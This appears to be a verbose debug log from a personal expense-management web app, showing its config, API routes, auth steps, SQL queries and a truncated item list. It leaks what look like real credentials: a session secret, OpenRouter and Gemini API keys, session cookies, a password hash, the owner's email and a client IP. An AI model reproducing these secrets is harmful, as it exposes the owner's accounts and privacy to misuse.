  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-29T05:31:52.694Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-29T05:31:53.557Z server-connect:setup:upload Upload middleware configured.
2026-06-29T05:31:53.557Z server-connect:secure CSRF Protection initialized
2026-06-29T05:31:53.562Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-29T05:31:53.564Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-29T05:31:53.566Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-29T05:31:53.567Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-29T05:31:53.576Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-29T05:31:53.578Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-29T05:31:53.592Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-29T05:31:53.605Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-29T05:31:53.608Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-29T05:31:53.611Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-29T05:31:53.613Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-29T05:31:53.619Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-29T05:31:53.624Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-29T05:31:53.634Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-29T05:31:53.638Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-29T05:31:53.710Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-29T05:31:53.711Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-29T05:31:53.714Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-29T05:31:53.720Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-29T05:31:53.724Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-29T05:31:53.726Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-29T05:31:53.734Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-29T05:31:53.736Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-29T05:31:53.742Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-29T05:31:53.744Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-29T05:31:53.748Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-29T05:31:53.750Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-29T05:31:53.750Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-29T05:31:53.757Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-29T05:31:53.759Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-29T05:31:53.761Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-29T05:31:53.763Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-29T05:31:53.767Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-29T05:31:53.769Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-29T05:31:53.775Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-29T05:31:53.779Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-29T05:31:53.781Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-29T05:31:53.790Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-29T05:31:54.280Z server-connect:router Serving templateView /
2026-06-29T05:31:54.326Z server-connect:app Executing action step identify
2026-06-29T05:31:54.326Z server-connect:app options: { provider: 'security' }
2026-06-29T05:31:54.389Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-06-29T05:31:54.399Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-06-29T05:31:54.451Z server-connect:output identity: 1
2026-06-29T05:31:54.451Z server-connect:app Executing action step restrict
2026-06-29T05:31:54.452Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:31:54.453Z server-connect:output restrict: undefined
2026-06-29T05:31:54.453Z server-connect:app Executing action step restrict
2026-06-29T05:31:54.453Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:31:54.454Z server-connect:output restrict: undefined
2026-06-29T05:31:54.454Z server-connect:router Render template layouts/main
2026-06-29T05:31:54.455Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUpFMTYMPwIukIajiKGLc1A%3D%3D.lyO4KDe9nJhv2NfkVGewfn9BGXgoCsLJGrTqWpKIG9ZaclntrNuwQC1PGSUXzlftfxFstOknZez4bKBSdLn29FLHXy2mP70hZy94HXzB7ztjcyU9%2FmA8hmkNa%2BELfStxOcNKqe%2BdtZWqus5xS9bjGOjmXzBmLAxJ5WFlRgWsJIc%3D.rExkeGznvCvqygwbwqAdd9R1XwFAMQQNea8evqF2aCE',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.277Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUpFMTYMPwIukIajiKGLc1A%3D%3D.lyO4KDe9nJhv2NfkVGewfn9BGXgoCsLJGrTqWpKIG9ZaclntrNuwQC1PGSUXzlftfxFstOknZez4bKBSdLn29FLHXy2mP70hZy94HXzB7ztjcyU9%2FmA8hmkNa%2BELfStxOcNKqe%2BdtZWqus5xS9bjGOjmXzBmLAxJ5WFlRgWsJIc%3D.rExkeGznvCvqygwbwqAdd9R1XwFAMQQNea8evqF2aCE',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-06-29T05:31:56.807Z server-connect:router Serving serverConnect /api/masters/get-items
2026-06-29T05:31:56.810Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-06-29T05:31:56.810Z server-connect:app Executing action step identify
2026-06-29T05:31:56.810Z server-connect:app options: { provider: 'security' }
2026-06-29T05:31:56.810Z server-connect:output identity: 1
2026-06-29T05:31:56.811Z server-connect:app Executing action step restrict
2026-06-29T05:31:56.811Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:31:56.811Z server-connect:output restrict: undefined
2026-06-29T05:31:56.813Z server-connect:app Executing action step select
2026-06-29T05:31:56.813Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-06-29T05:31:56.817Z server-connect:app Executing action step identify
2026-06-29T05:31:56.817Z server-connect:app options: { provider: 'security' }
2026-06-29T05:31:56.817Z server-connect:output identity: 1
2026-06-29T05:31:56.817Z server-connect:app Executing action step restrict
2026-06-29T05:31:56.817Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:31:56.818Z server-connect:output restrict: undefined
2026-06-29T05:31:56.818Z server-connect:app Executing action step single
2026-06-29T05:31:56.818Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-06-29T05:31:56.823Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  ... 597 more items
]
2026-06-29T05:31:56.825Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-06-29T05:32:00.131Z server-connect:router Serving templateView /expense/list
2026-06-29T05:32:00.132Z server-connect:app Executing action step identify
2026-06-29T05:32:00.132Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:00.132Z server-connect:output identity: 1
2026-06-29T05:32:00.132Z server-connect:app Executing action step restrict
2026-06-29T05:32:00.132Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:32:00.133Z server-connect:output restrict: undefined
2026-06-29T05:32:00.133Z server-connect:router Render template expense/list
2026-06-29T05:32:00.133Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-29T05:32:00.404Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-06-29T05:32:00.404Z server-connect:router Serving serverConnect /api/expense/list
2026-06-29T05:32:00.405Z server-connect:app Executing action step identify
2026-06-29T05:32:00.405Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:00.405Z server-connect:output identity: 1
2026-06-29T05:32:00.405Z server-connect:app Executing action step restrict
2026-06-29T05:32:00.405Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:00.405Z server-connect:app Executing action step identify
2026-06-29T05:32:00.405Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:00.405Z server-connect:output identity: 1
2026-06-29T05:32:00.406Z server-connect:app Executing action step restrict
2026-06-29T05:32:00.406Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:00.406Z server-connect:output restrict: undefined
2026-06-29T05:32:00.406Z server-connect:app Executing action step select
2026-06-29T05:32:00.406Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-06-29T05:32:00.407Z server-connect:output restrict: undefined
2026-06-29T05:32:00.407Z server-connect:app Executing action step paged
2026-06-29T05:32:00.407Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
